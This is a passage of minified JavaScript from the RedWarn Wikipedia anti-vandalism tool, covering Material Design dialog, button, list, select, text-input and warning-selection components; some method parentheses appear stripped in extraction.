0!==t?t:""}),n=u.MaterialTextInputUpgrade(i);if(n.textField.listen("keyup",(t=>{e.events.onChange(Object.assign(t,{value:n.textField.value})),"Enter"===t.key&&e.events.onSubmit(document.querySelector(".rw-mdc-warnSearchDialog-warning--top").getAttribute("data-rw-warning"))})),null!=e.defaultText){const e=t=>{const i=t.target;i.selectionStart=i.selectionEnd=i.value.length,n.textField.unlisten("focusin",e)};n.textField.listen("focusin",e)}const a=r.h("div",{class:"rw-mdc-warnSearchDialog--searchBar"},i);return n.textField.listen("focusout",(=>{a.classList.toggle("rw-mdc-warnSearchDialog--searchBar--focused",!1)})),n.textField.listen("focusin",(=>{a.classList.toggle("rw-mdc-warnSearchDialog--searchBar--focused",!0)})),a}function m(e){const t=[];for(const[i,n]of Object.entries(c.WarningManager.warningsByCategories)){const a=r.h("div",{class:"rw-warningCategory","data-rw-warningCategory":c.WarningManager.warningCategoriesMap[i].id},c.WarningManager.warningCategoriesMap[i].label);t.push(a);const o=[];for(const[t,i]of Object.entries(n)){const n=r.h(f.default,{id:t,warning:i});n.addEventListener("click",(i=>{if(n.hasAttribute("data-lastclick")&&Date.now-+n.getAttribute("data-lastclick")<300||i.shiftKey)return e.dialog.performSelect(Object.assign(i,{warningId:t})),void e.dialog.dialog.close("submit");n.setAttribute("data-lastclick",`${Date.now}`),e.dialog.performSelect(Object.assign(i,{warningId:t}))})),e.dialog.addSelectListener((e=>{n.classList.toggle("rw-warning-selected",e.warningId===t)})),e.dialog.addChangeListener((e=>{if(null==e.value||0===e.value.length)return void n.classList.toggle("rw-warnSearch-hidden",!1);const t=new RegExp(p.regexEscape(e.value),"gi");n.classList.toggle("rw-warnSearch-hidden",!(t.test(i.name)||null!=i.keywords&&i.keywords.reduce(((e,i)=>e||t.test(i)),!1)||t.test(i.template)))})),o.push(n)}e.dialog.addChangeListener((=>{a.classList.toggle("rw-warnSearch-hidden",o.filter((e=>e.classList.contains("rw-warnSearch-hidden"))).length==o.length)})),t.push(...o)}return e.dialog.addChangeListener((=>{document.querySelectorAll(".rw-mdc-warnSearchDialog-warning--top").forEach((e=>{e.classList.remove("rw-mdc-warnSearchDialog-warning--top");const t=document.querySelector(".rw-mdc-warnDialog-searchDialog-instantSelect");t.parentElement.removeChild(t)}));for(const e of t)if(!e.classList.contains("rw-warnSearch-hidden")&&e.classList.contains("rw-mdc-warnSearchDialog-warning")){e.classList.add("rw-mdc-warnSearchDialog-warning--top"),e.querySelector("table").insertAdjacentElement("afterend",r.h("div",{class:"rw-mdc-warnDialog-searchDialog-instantSelect"},g.default.t("ui:warn.templateSearchDialog.instantSelect").toString));break}})),r.h("div",{class:"rw-mdc-warnSearchDialog--warnings"},t)}class v extends a.RWUIDialog{constructor(e){var t;super(e),this.events={change:[],select:[]},this.props.width=null!==(t=e.width)&&void 0!==t?t:"80vw"}addChangeListener(e){this.events.change.push(e)}addSelectListener(e){this.events.select.push(e)}performChange(e){var t;for(const i of this.events.change)if(null!==(t=i(e))&&void 0!==t&&!t)break}performSelect(e){var t;for(const i of this.events.select)if(null!==(t=i(e))&&void 0!==t&&!t)break;this.selectedWarning=c.WarningManager.warnings[e.warningId];const i=this.actions;i.parentElement.replaceChild(this.actions=r.h(d.MaterialDialogActions,null,r.h("div",{class:"rw-mdc-dialog-helperText rw-mdc-subtitle"},g.default.t("ui:warn.templateSearchDialog.tip").toString),this.renderActions),i)}show{const e=s.getMaterialStorage;return o.registerMaterialDialog(this),this.dialog=o.upgradeMaterialDialog(this),new Promise((t=>{this.dialog.listen("MDCDialog:closed",(=>n.__awaiter(this,void 0,void 0,(function*{e.dialogTracker.delete(this.id),t(this.selectedWarning)}))))}))}renderActions{return[r.h(l.default,{dialogAction:"cancel"},"Cancel"),r.h(l.default,{dialogAction:"submit",disabled:null==this.selectedWarning},"Select")]}render{var e,t,i;return this.element=r.h(d.default,{surfaceProperties:{class:"mdc-dialog__surface rw-mdc-warnSearchDialog",style:`width:${null!==(e=this.props.width)&&void 0!==e?e:"70vw"};height:90vh;`,"aria-modal":!0,"aria-labelledby":null!==(t=this.props.title)&&void 0!==t?t:"RedWarn dialog"},id:this.id},r.h(d.MaterialDialogTitle,null,null!==(i=this.props.title)&&void 0!==i?i:g.default.t("ui:warn.templateSearchDialog.dialogTitle").toString),r.h(d.MaterialDialogContent,null,r.h(h,{events:{onChange:e=>{this.performChange(e)},onSubmit:e=>{this.selectedWarning=c.WarningManager.warnings[e],this.dialog.close("submit")}},defaultText:this.props.startingText}),r.h(m,{dialog:this})),this.actions=r.h(d.MaterialDialogActions,null,r.h("div",{class:"rw-mdc-dialog-helperText rw-mdc-subtitle"},g.default.t("ui:warn.templateSearchDialog.tip").toString),this.renderActions)),this.performChange(Object.assign(new Event("dummy"),{value:this.props.startingText})),this.element}}t.default=v},3854:(e,t,i)=>{"use strict";Object.defineProperty(t,"__esModule",{value:!0});const n=i(655),r=i(830),a=n.__importDefault(i(8001));t.default=function{return r.h("span",{class:"bullet"},`${a.default.t("common:bullet")}`)}},6359:(e,t,i)=>{"use strict";Object.defineProperty(t,"__esModule",{value:!0});const n=i(655),r=i(830),a=n.__importDefault(i(1493)),o=n.__importDefault(i(4236)),s=i(9052);t.default=function(e){const{action:t,dialogAction:i,children:n,icon:l,contentStyle:d,iconColor:c,style:u,disabled:p,raised:g}=e,f=["mdc-button"];return i&&f.push("mdc-dialog__button"),(g||t&&s.Configuration.Accessibility.raiseActionButtons.value)&&f.push("mdc-button--raised"),r.h("button",Object.assign({type:"button",class:f.join(" "),"data-mdc-dialog-action":null!=i&&("string"==typeof i?i:i.data),style:o.default(u),disabled:p},a.default(e),{onClick:e.onClick}),r.h("div",{class:"mdc-button__ripple"}),l&&r.h("i",Object.assign({class:"material-icons mdc-button__icon","aria-hidden":"true"},c&&{style:{color:c}}),l),r.h("span",Object.assign({class:"mdc-button__label"},d&&{style:d}),n))}},3284:(e,t,i)=>{"use strict";Object.defineProperty(t,"__esModule",{value:!0});const n=i(655),r=i(830),a=n.__importDefault(i(1493));t.default=function(e){const{icon:t,iconColor:i}=e;return r.h("span",Object.assign({class:"material-icons",style:`color:${null!=i?i:"initial"};`},a.default(e)),t)}},323:(e,t,i)=>{"use strict";Object.defineProperty(t,"__esModule",{value:!0});const n=i(655),r=i(830),a=n.__importDefault(i(1493)),o=i(7933);t.default=function(e){const{onClick:t,label:i,icon:n,iconColor:s,tooltip:l,ripple:d}=e,c=r.h("button",Object.assign({id:e.id,type:"button",class:`mdc-icon-button material-icons ${e.class?Array.isArray(e.class)?e.class.join(" "):e.class:""}`,disabled:e.disabled,"aria-label":i,"data-rw-mdc-tooltip":("string"==typeof l||!1!==l&&!!i)&&(null!=l?l:i),onClick:t,style:[...s?[`color:${s}`]:[]].join(";")},a.default(e),{"data-mdc-ripple-is-unbounded":!0}),(null==d||d)&&r.h("span",{class:"mdc-icon-button__ripple"}),n);return(null==d||d)&&new o.MDCRipple(c),c}},2355:(e,t,i)=>{"use strict";Object.defineProperty(t,"__esModule",{value:!0}),t.MaterialInputCardState=void 0;const n=i(655),r=i(830),a=n.__importDefault(i(5337)),o=n.__importDefault(i(8001)),s=n.__importStar(i(8963)),l=n.__importDefault(i(323));i(5946);const d=n.__importDefault(i(5958)),c=n.__importDefault(i(5310));var u;!function(e){e[e.Blank=0]="Blank",e[e.Input=1]="Input",e[e.Loading=2]="Loading",e[e.Ready=3]="Ready"}(u=t.MaterialInputCardState||(t.MaterialInputCardState={}));t.default=class{constructor(e){this._state=u.Blank,this.elementSet={},this.props=e,this.defaultValue=e.value}get state{return this._state}set state(e){this._state=e,this.elementSet.root&&this.elementSet.root.setAttribute("data-state",u[e].toLowerCase)}renderInput{var e,t,i,n;let a;const o=r.h("div",{class:"rw-mdc-inputCard-input"},a=r.h(s.default,{width:"400px",label:this.props.label}),this.elementSet.inputSubmit=r.h(l.default,{icon:null!==(e=this.props.submitIcon)&&void 0!==e?e:"send",onClick:=>{this.change(this.elementSet.inputBox.components.textField.value)},disabled:!0,"data-rw-mdc-tooltip":null===(t=this.props.i18n)||void 0===t?void 0:t.inputSubmit}),this.elementSet.inputCancel=r.h(l.default,{icon:null!==(i=this.props.cancelIcon)&&void 0!==i?i:"cancel",onClick:=>{this.cancelInput},"data-rw-mdc-tooltip":null===(n=this.props.i18n)||void 0===n?void 0:n.inputCancel}));return this.elementSet.inputBox={element:a,components:s.MaterialTextInputUpgrade(a)},this.elementSet.inputBox.components.textField.listen("keypress",(e=>{const t=this.elementSet.inputBox.components.textField.value,i=0===t.length;i||"Enter"!==e.key||this.change(t),this.elementSet.inputSubmit.toggleAttribute("disabled",i)})),o}renderLoading{var e,t;return r.h("div",{class:"rw-mdc-inputCard-loading"},this.elementSet.loadingText=r.h("div",{class:"rw-mdc-inputCard-loading__title"},this.value),r.h("div",{class:"rw-mdc-inputCard-loading__subtitle"},null!==(t=null===(e=this.props.i18n)||void 0===e?void 0:e.loadingText)&&void 0!==t?t:`${o.default.t("common:load")}`))}render{var e;return this.elementSet.root=r.h("div",{class:a.default("rw-mdc-inputCard","mdc-card",!!this.props.outlined&&"mdc-card--outlined",...null!==(e=this.props.class)&&void 0!==e?e:[])},this.elementSet.main=r.h("div",{class:"rw-mdc-inputCard-main"}),this.elementSet.input=this.renderInput,this.elementSet.loading=this.renderLoading),this.defaultValue?this.change(this.defaultValue):this.beginInput,this.elementSet.root}replaceMain(e){null!=this.elementSet.main&&(this.elementSet.main.parentElement.replaceChild(e,this.elementSet.main),e.classList.toggle("rw-mdc-inputCard-main",!0),this.elementSet.main=e)}beginInput{this.value?(this.elementSet.inputSubmit.toggleAttribute("disabled",!1),this.elementSet.inputCancel.style.display="",this.elementSet.inputBox.components.textField.value=this.value):this.elementSet.inputCancel.style.display="none",this.state=u.Input,this.elementSet.inputBox.components.textField.focus}cancelInput{this.state=u.Ready}change(e){if(e===this.value)return void(this.state=u.Ready);this.value=e,this.elementSet.inputCancel.toggleAttribute("disabled",!1);const t=this.renderMain(e);t instanceof Promise?(this.state=u.Loading,this.elementSet.loadingText.innerText=e,t.then((e=>{this.replaceMain(e),this.state=u.Ready})).catch((e=>{this.beginInput,d.default.Toast.quickShow({content:o.default.t("mediawiki:error.apiError")}),c.default.error("Failed to run `renderMain`.",e)}))):(this.replaceMain(t),this.state=u.Ready)}}},6968:(e,t,i)=>{"use strict";Object.defineProperty(t,"__esModule",{value:!0}),t.MaterialListDivider=t.MaterialListSubheader=t.MaterialListItem=t.MaterialList=void 0;const n=i(655),r=i(830),a=i(7933),o=i(4072),s=n.__importDefault(i(4236));t.MaterialList=function(e){var t;const i=r.h("ul",Object.assign({},Object.fromEntries(Object.entries(e).filter((([e])=>!["children","initialized"].includes(e)))),{class:`mdc-list ${null!==(t=e.class)&&void 0!==t?t:""}`}),e.children);return!1!==e.initialized&&new o.MDCList(i),i},t.MaterialListItem=function(e){var t,i,n,o;const l=r.h("span",{class:"mdc-list-item__ripple"});return new a.MDCRipple(l),r.h("li",Object.assign({},Object.fromEntries(Object.entries(e).filter((([e])=>!["children","icon"].includes(e)))),{class:`mdc-list-item mdc-list-item--with-one-line ${null!==(t=e.class)&&void 0!==t?t:""}`}),l,e.icon&&r.h("span",{class:"mdc-deprecated-list-item__graphic material-icons","aria-hidden":"true",style:s.default({color:null!==(n=null!==(i=e.iconColor)&&void 0!==i?i:e.color)&&void 0!==n?n:void 0})},e.icon),r.h("span",{class:"mdc-list-item__text",style:s.default({color:null!==(o=e.color)&&void 0!==o?o:void 0})},e.children))},t.MaterialListSubheader=function(e){return r.h("h3",{class:"mdc-list-group__subheader"},e.children)},t.MaterialListDivider=function{return r.h("li",{role:"separator",class:"mdc-list-divider"})}},9821:(e,t,i)=>{"use strict";Object.defineProperty(t,"__esModule",{value:!0}),t.openMenu=void 0;const n=i(7785),r=i(830),a=i(6968),o=new Map;t.openMenu=function(e){const t=o.get(e);t.open=!0,document.querySelectorAll("[data-menu-id]").forEach((e=>{if(e.getAttribute("data-menu-id")===t.root.id){const i=e.getBoundingClientRect;t.setAbsolutePosition(i.left,i.top+e.clientHeight)}}))},t.default=function(e){const t=r.h("span",{"data-append-event":!0},r.h("div",{id:e.id,class:"mdc-menu mdc-menu-surface"},r.h(a.MaterialList,{initialized:!1,role:"menu","aria-hidden":"true","aria-orientation":"vertical",tabIndex:-1},e.items.map((e=>r.h(a.MaterialListItem,{role:"menuitem",onClick:=>{e.action},icon:e.icon},e.label))))));return t.addEventListener("animationstart",(=>{t.parentElement!==document.body&&document.body.appendChild(t),o.set(e.id,new n.MDCMenu(t.querySelector(".mdc-menu")))})),t}},6807:(e,t,i)=>{"use strict";Object.defineProperty(t,"__esModule",{value:!0}),t.MaterialProtectionRequestDialogPage=void 0;const n=i(655),r=i(830),a=n.__importDefault(i(2355)),o=i(4802),s=n.__importDefault(i(8001)),l=n.__importDefault(i(4236)),d=i(8910),c=n.__importDefault(i(7888)),u=i(2440);class p extends a.default{constructor(e){super(e),this.parent=e.parent,this.props.outlined=!0,this.props.i18n=s.default.t("ui:protectionRequest.page",{returnObjects:!0})}renderMain(e){var t,i,a;return n.__awaiter(this,void 0,void 0,(function*{this.parent.page=o.Page.fromTitle(e),this.parent.protectionInformation=null,this.parent.protectionInformation=yield o.ProtectionManager.getProtectionInformation(this.parent.page),this.parent.protectionReasons=yield o.ProtectionManager.getProtectionReasons(this.parent.page);const n=[];for(const e of this.parent.protectionInformation){if("edit"!==e.type&&"_flaggedrevs"!==e.type)continue;const o=null===(i=null===(t=c.default.c.protection)||void 0===t?void 0:t.levels)||void 0===i?void 0:i.find((t=>"_flaggedrevs"===e.type&&"_flaggedrevs"===t.id||t.id===e.level)),p=u.isFlaggedRevsProtectionEntry(e)?"":null!=e.cascade?s.default.t("ui:protectionRequest.info.cascading"):null!=e.source?s.default.t("ui:protectionRequest.info.cascaded"):"";n.push(r.h("div",{style:l.default({display:"block"}),class:"rw-mdc-prd-protectionLevel"},(null==o?void 0:o.iconURL)?r.h("img",{alt:o.name,src:o.iconURL}):r.h("span",{class:"material-icons",style:l.default({color:null!==(a=null==o?void 0:o.color)&&void 0!==a?a:"black"})},"lock"),r.h("span",{class:"rw-mdc-protectionLevels--name"},`${d.capitalize(null!=o?s.default.t("ui:protectionRequest.info.detailed",Object.assign(Object.assign({statusName:o.statusName},"infinity"===e.expiry?{context:"indefinite"}:{date:e.expiry.toLocaleString}),{note:p.length>0?s.default.t("ui:protectionRequest.info.note",{detail:p}):""})):s.default.t("ui:protectionRequest.info.fallback",Object.assign(Object.assign({type:e.type,level:e.level},"infinity"===e.expiry?{context:"indefinite"}:{date:e.expiry.toLocaleString}),{note:p.length>0?s.default.t("ui:protectionRequest.info.note",{detail:p}):""})))}`)))}return 0===n.length&&n.push(r.h("div",{style:l.default({display:"inline-block"}),class:"rw-mdc-prd-protectionLevel"},r.h("span",{class:"material-icons",style:l.default({color:"black"})},"lock_open"),r.h("span",{class:"rw-mdc-protectionLevels--name"},`${s.default.t("ui:protectionRequest.info.unprotected")}`))),r.h("div",null,r.h("div",{class:"rw-mdc-prd-title__title"},r.h("span",{onClick:=>{this.beginInput},"data-rw-mdc-tooltip":s.default.t("ui:protectionRequest.page.change")},e)),r.h("div",{class:"rw-mdc-prd-protectionInfo"},n))}))}}t.MaterialProtectionRequestDialogPage=p,t.default=function(e){const t=new p(e);return Object.assign(t.render,{MPRDTitle:t})}},1515:(e,t,i)=>{"use strict";Object.defineProperty(t,"__esModule",{value:!0});const n=i(830),r=i(8910),a=i(6944);t.default=function(e){const t=`rwMdcRadio__${r.generateId}`,i=n.h("div",{class:`mdc-radio ${e.checked?"mdc-radio--checked":""} ${e.disabled?"mdc-radio--disabled":""}`},n.h("input",Object.assign({class:"mdc-radio__native-control",type:"radio",id:t,name:e.name},e.checked&&{checked:!0},{disabled:e.disabled})),n.h("div",{class:"mdc-radio__background"},n.h("div",{class:"mdc-radio__outer-circle"}),n.h("div",{class:"mdc-radio__inner-circle"})),n.h("div",{class:"mdc-radio__ripple"})),o=n.h("span",{class:"rw-mdc-radio","data-rw-mdc-tooltip":e.tooltip},i,n.h("label",{for:t},e.children)),s=new a.MDCRadio(i);return Object.assign(o,{MDCRadio:s,radioValue:e.value,enable{s.disabled=!1},disable{s.disabled=!0}})}},4549:(e,t,i)=>{"use strict";Object.defineProperty(t,"__esModule",{value:!0});const n=i(655),r=i(830),a=n.__importDefault(i(1515)),o=i(8910);t.default=function(e){var t;const i=`rwMdcRadioField__${o.generateId}`,n=e.radios.map((t=>{var n,o,s;return r.h(a.default,Object.assign({},Object.assign(t,{name:null!==(n=e.name)&&void 0!==n?n:i,disabled:null!==(o=e.disabled)&&void 0!==o&&o})),null!==(s=t.children)&&void 0!==s?s:`${t.value}`)})),s=r.h("div",{id:i,class:`mdc-form-field rw-mdc-radiofield--${null!==(t=e.direction)&&void 0!==t?t:"horizontal"} ${e.class?Array.isArray(e.class)?e.class.join(" "):e.class:""}`},n);return s.addEventListener("change",(=>{for(const t of n)if(t.MDCRadio.checked){e.onChange(t.radioValue,t);break}})),Object.assign(s,{MDCRadios:n,reset{n.forEach((e=>e.MDCRadio.checked=!1)),e.onChange(null,null)},enable{n.forEach((e=>e.enable))},disable{n.forEach((e=>e.disable))}})}},4140:(e,t,i)=>{"use strict";Object.defineProperty(t,"__esModule",{value:!0});const n=i(655),r=i(830),a=i(9494),o=i(8910),s=i(6968),l=n.__importDefault(i(5337));t.default=function(e){var t;const n={},d=r.h("i",{class:"mdc-select__dropdown-icon"});d.innerHTML=i(5799);const c=`rwMdcSelect__${o.generateId}`,u=r.h("div",{class:l.default("mdc-select","mdc-select--outlined",!!e.required&&"mdc-select--required",e.class)},r.h("div",{class:"mdc-select__anchor",role:"button","aria-haspopup":"listbox","aria-expanded":"false","aria-labelledby":`${c}label ${c}text`,"aria-required":null!==(t=e.required)&&void 0!==t?t:"false"},r.h("div",{class:"mdc-notched-outline"},r.h("div",{class:"mdc-notched-outline__leading"}),r.h("div",{class:"mdc-notched-outline__notch"},r.h("label",{id:`${c}label`,class:"mdc-floating-label mdc-floating-label--float-above"},e.label)),r.h("div",{class:"mdc-notched-outline__trailing"})),r.h("span",{class:"mdc-select__selected-text-container"},r.h("div",{id:`${c}text`,class:"mdc-select__selected-text"})),d),r.h("div",{class:"mdc-select__menu mdc-menu mdc-menu-surface mdc-menu-surface--fullwidth"},r.h(s.MaterialList,{initialized:!1,role:"listbox","aria-hidden":"true","aria-orientation":"vertical","aria-label":e.label,tabIndex:-1},e.items.map((e=>{var t;switch(e.type){case"divider":return r.h(s.MaterialListDivider,null);case"header":return r.h(s.MaterialListSubheader,null,e.label);case"action":const i=o.generateId;return n[i]=e.value,r.h(s.MaterialListItem,{class:e.selected?" mdc-list-item--selected":"","aria-selected":null!==(t=e.selected)&&void 0!==t?t:"false",role:"option","data-value":i},e.label)}}))))),p=new a.MDCSelect(u);return e.onChange&&p.listen("MDCSelect:change",(=>{e.onChange(p.selectedIndex,n[p.value])})),e.onKeyDown&&p.listen("keydown",(t=>{e.onKeyDown(t)})),Object.assign(u,{MDCSelect:p,valueSet:n,setItem:e=>{const t=Object.entries(n).find((([,t])=>t===e));t&&u.querySelector(`li[data-value="${t[0]}"]`).click}})}},8963:(e,t,i)=>{"use strict";Object.defineProperty(t,"__esModule",{value:!0}),t.MaterialTextInputUpgrade=void 0;const n=i(655),r=i(830),a=i(8910),o=i(4534),s=i(4228),l=i(9308),d=i(9928),c=n.__importDefault(i(4236)),u=n.__importDefault(i(5337)),p=new Map;t.default=function(e){var t,i;const n=null!==(t=e.id)&&void 0!==t?t:a.generateId(8),o=r.h("span",{"data-mdc-textinput":n,class:e.class},r.h("label",{style:c.default({width:null!==(i=e.width)&&void 0!==i?i:"100%"}),class:u.default("rw-mdc-full-width","mdc-text-field",e.outlined?" mdc-text-field--outlined":" mdc-text-field--filled",e.leadingIcon&&"mdc-text-field--with-leading-icon",e.trailingIcon&&"mdc-text-field--with-trailing-icon",e.area&&"mdc-text-field--textarea")},e.outlined?r.h("span",{class:"mdc-notched-outline"},r.h("span",{class:"mdc-notched-outline__leading"}),r.h("span",{class:"mdc-notched-outline__notch"},r.h("span",{class:"mdc-floating-label",htmlFor:`${n}_input`},e.label)),r.h("span",{class:"mdc-notched-outline__trailing"})):r.h("span",{class:"mdc-floating-label"},e.label),!e.outlined&&r.h("span",{class:"mdc-text-field__ripple"}),e.prefix&&r.h("span",{class:"mdc-text-field__affix mdc-text-field__affix--prefix"},e.prefix),e.leadingIcon&&r.h("i",Object.assign({class:"material-icons mdc-text-field__icon mdc-text-field__icon--leading",id:`${n}_leadIcon`},e.leadingIcon.action&&{tabIndex:0,role:"button",onClick:e.leadingIcon.action}),e.leadingIcon.icon),e.area?r.h("textarea",Object.assign({class:"mdc-text-field__input",id:`${n}_input`},e.helperText&&{"aria-controls":`${n}_helper`,"aria-describedby":`${n}_helper`},e.defaultText&&{value:e.defaultText},e.maxCharacterCount&&{maxLength:e.maxCharacterCount},e.autofocus&&{autofocus:!0},e.required&&{required:!0})):r.h("input",Object.assign({type:"text",class:"mdc-text-field__input",id:`${n}_input`},e.helperText&&{"aria-controls":`${n}_helper`,"aria-describedby":`${n}_helper`},e.defaultText&&{value:e.defaultText},e.maxCharacterCount&&{maxLength:e.maxCharacterCount},e.autofocus&&{autofocus:!0},e.required&&{required:!0})),e.trailingIcon&&r.h("i",Object.assign({class:"material-icons mdc-text-field__icon mdc-text-field__icon--trailing",id:`${n}_trailIcon`},e.trailingIcon.action&&{tabIndex:0,role:"button",onClick:e.trailingIcon.action}),e.trailingIcon.icon),e.suffix&&r.h("span",{class:"mdc-text-field__affix mdc-text-field__affix--suffix"},e.suffix),!e.outlined&&r.h("span",{class:"mdc-line-ripple"})),r.h("div",{class:"mdc-text-field-helper-line"},e.helperText?r.h("div",{id:`${n}_helper`,class:"mdc-text-field-helper-text","aria-hidden":"true"},e.helperText):null,e.maxCharacterCount?r.h("div",{id:`${n}_char`,class:"mdc-text-field-character-counter"},"0 / ",e.maxCharacterCount):null));return p.set(n,{element:o,props:e,components:null}),o},t.MaterialTextInputUpgrade=function(e){var t,i,n,r;if(!e.hasAttribute("data-mdc-textinput"))throw new Error("Not a valid MaterialTextInput");const a=p.get(e.getAttribute("data-mdc-textinput")),{props:c}=a,u={element:e,textField:new o.MDCTextField(e.querySelector(".mdc-text-field"))};return u.textField.initialize,u.characterCounter=c.maxCharacterCount&&new s.MDCTextFieldCharacterCounter(e.querySelector(".mdc-text-field-character-counter")),null===(t=u.characterCounter)||void 0===t||t.initialize,u.leadingIcon=c.leadingIcon&&new l.MDCTextFieldIcon(e.querySelector(`#${e.id}_leadIcon`)),null===(i=u.leadingIcon)||void 0===i||i.initialize,u.trailingIcon=c.trailingIcon&&new l.MDCTextFieldIcon(e.querySelector(`#${e.id}_trailIcon`)),null===(n=u.trailingIcon)||void 0===n||n.initialize,u.helperText=c.helperText&&new d.MDCTextFieldHelperText(e.querySelector(".mdc-text-field-helper-text")),null===(r=u.helperText)||void 0===r||r.initialize,a.components=u,e.classList.add("rw-mdc--upgraded"),u}},3568:(e,t,i)=>{"use strict";Object.defineProperty(t,"__esModule",{value:!0});const n=i(830),r=i(8910),a=i(4900);t.default=function({id:e,target:t,children:i}){t&&"string"==typeof t&&(t=document.querySelector(t));const o=e||`rwtooltip__${r.generateId(8)}`,s=n.h("div",{id:o,class:"mdc-tooltip",role:"tooltip","aria-hidden":"true"},n.h("div",{class:"mdc-tooltip__surface mdc-tooltip__surface-animation"},i));t&&t instanceof HTMLElement&&(t.setAttribute("data-tooltip-id",o),t.setAttribute("aria-describedby",o));const l=new a.MDCTooltip(s);return l.setShowDelay(0),l.setHideDelay(0),s}},4012:(e,t,i)=>{"use strict";Object.defineProperty(t,"__esModule",{value:!0}),t.MaterialWarnDialogChild=void 0;const n=i(655).__importDefault(i(8982));class r extends n.default{}t.MaterialWarnDialogChild=r},6821:(e,t,i)=>{"use strict";Object.defineProperty(t,"__esModule",{value:!0}),t.MaterialWarnDialogReasonController=void 0;const n=i(655),r=i(4802),a=i(830),o=n.__importDefault(i(4140)),s=i(4012),l=n.__importDefault(i(323)),d=n.__importDefault(i(4549)),c=n.__importDefault(i(3284)),u=i(9381),p=n.__importStar(i(8963)),g=n.__importDefault(i(8001)),f=n.__importDefault(i(7242));function h({parent:e}){const t=[];for(const[e,i]of Object.entries(r.WarningManager.warningArrayByCategories)){0!==t.length&&t.push({type:"divider"}),t.push({type:"header",label:r.WarningManager.warningCategoriesMap[e].label});for(const e of i)t.push({type:"action",label:e.name,value:e})}const i=a.h("span",{class:"rw-mdc-warnDialog-reason--dropdown"},a.h(o.default,{label:g.default.t("ui:warn.reason.warningSelectionDropdownTitle").toString,items:t,required:!0,onChange:(t,i)=>{e.warning=i},onKeyDown:e=>n.__awaiter(this,void 0,void 0,(function*{if(!/^.$/g.test(e.key))return;const t=e.target.getAttribute("data-last-keydown");if(t&&+t+500>Date.now)return;e.target.setAttribute("data-last-keydown",`${Date.now}`);const n=yield new f.default({startingText:e.key}).show;i.querySelector(".mdc-select").setItem(n)}))}),a.h(l.default,{class:"rw-mdc-warnDialog-reason--search",icon:"search",label:g.default.t("ui:warn:reason:searchDialogOpenerTooltip").toString,onClick:=>n.__awaiter(this,void 0,void 0,(function*{const t=yield new f.default({selectedWarning:e.warning}).show;i.querySelector(".mdc-select").setItem(t)}))}));return i}function m({parent:e}){var t,i,n,o;let s,l;if(null!=e.warning)switch(e.warning.type){case r.WarningType.Tiered:{const p=[];for(let s=r.WarningLevel.Notice;s<=r.WarningLevel.Immediate;s++){const l=r.WarningLevelComments[s];e.warning.levels.includes(s)?p.push({value:s,checked:e.warningLevel==s,tooltip:g.default.t("ui:warn.reason.levelSelectionLevel",{level:null!==(t=l.alternative)&&void 0!==t?t:s,levelReadable:(null!==(i=l.summary)&&void 0!==i?i:r.WarningLevel[s]).toLocaleLowerCase,levelDescription:l.description}),children:a.h(c.default,{icon:u.WarningIcons[s].icon})}):p.push({value:s,tooltip:g.default.t("ui:warn.reason.levelSelectionLevelNotPresent",{level:null!==(n=l.alternative)&&void 0!==n?n:s,levelReadable:(null!==(o=l.summary)&&void 0!==o?o:r.WarningLevel[s]).toLocaleLowerCase}),disabled:!0,children:a.h(c.default,{icon:u.WarningIcons[s].icon,iconColor:"gray"})})}const f=a.h(d.default,{radios:p,onChange:t=>{e.warningLevel=t}});l=e=>{for(const t of f.MDCRadios)t.radioValue===e&&(t.MDCRadio.checked=!0)},s=f;break}case r.WarningType.SingleIssue:s=a.h("b",null,g.default.t("ui:warn.reason.singleIssueTemplate").toString);break;case r.WarningType.PolicyViolation:s=a.h("b",null,g.default.t("ui:warn.reason.policyViolationTemplate").toString)}else s=a.h("span",null,g.default.t("ui:warn.reason.noWarningSelected").toString);return Object.assign(a.h("div",{class:"rw-mdc-warnDialog-reason--levels"},a.h("table",null,a.h("tr",null,a.h("td",null,g.default.t("ui:warn.reason.warningLevel").toString),a.h("td",null,s)))),{update:l})}class v extends s.MaterialWarnDialogChild{constructor(e){super,this.props=e,this.elementSet={},this.warningLevel=this.defaultLevel=e.defaultLevel,this.warning=e.defaultReason}get user{return this.props.warnDialog.user}get warning{return this._warning}set warning(e){if(this._warning=e,null!=e&&e.type===r.WarningType.Tiered){for(let t=this.defaultLevel;t>=0;t--)if(e.levels.includes(t))return this.warningLevel=t,void this.refresh;this.warningLevel=e.levels[0]}else this.warningLevel=null;this.props.warnDialog.updatePreview,this.refresh}get warningLevel{return this._warningLevel}set warningLevel(e){var t;this._warningLevel=e,(null===(t=this.elementSet.levels)||void 0===t?void 0:t.update)&&this.elementSet.levels.update(e),this.props.warnDialog.updatePreview}get relatedPage{var e,t,i,n;return null!==(n=null===(i=null===(t=null===(e=this.elementSet.page)||void 0===e?void 0:e.components)||void 0===t?void 0:t.textField)||void 0===i?void 0:i.value)&&void 0!==n?n:null}set relatedPage(e){this.elementSet.page&&(this.elementSet.page.components.textField.value=e)}get additionalText{var e,t,i,n;return null!==(n=null===(i=null===(t=null===(e=this.elementSet.additionalText)||void 0===e?void 0:e.components)||void 0===t?void 0:t.textField)||void 0===i?void 0:i.value)&&void 0!==n?n:null}set additionalText(e){this.elementSet.additionalText&&(this.elementSet.additionalText.components.textField.value=e)}refresh{var e,t,i,n,o;const s=(e,t=!1)=>=>{if(t)return this.props.warnDialog.updatePreview;e.setAttribute("data-last-keydown",`${Date.now}`),setTimeout((=>{Date.now-+e.getAttribute("data-last-keydown")>=500&&this.props.warnDialog.updatePreview}),550)},l=`rwMdcWarnDialogReason__${this.props.warnDialog.id}`,d=a.h("div",{id:l,class:"rw-mdc-warnDialog-reason"},null!==(e=this.elementSet.dropdown)&&void 0!==e?e:this.elementSet.dropdown=a.h(h,{parent:this}),this.elementSet.levels=a.h(m,{parent:this}),null!==(i=null===(t=this.elementSet.page)||void 0===t?void 0:t.element)&&void 0!==i?i:(=>{var e,t,i;const n=a.h(p.default,Object.assign({width:"100%",label:g.default.t("ui:warn.reason.page"),defaultText:null!==(i=null===(t=null===(e=this.props.relatedPage)||void 0===e?void 0:e.title)||void 0===t?void 0:t.toString)&&void 0!==i?i:"",autofocus:!0},null!=this.warning?{[r.getWarningFieldVisibility(this.warning.relatedPage)]:!0}:{})),o=p.MaterialTextInputUpgrade(n);return this.elementSet.page={element:n,components:o},o.textField.listen("focusout",s(n),!0),o.textField.listen("keydown",s(n)),n}),null!==(o=null===(n=this.elementSet.additionalText)||void 0===n?void 0:n.element)&&void 0!==o?o:(=>{const 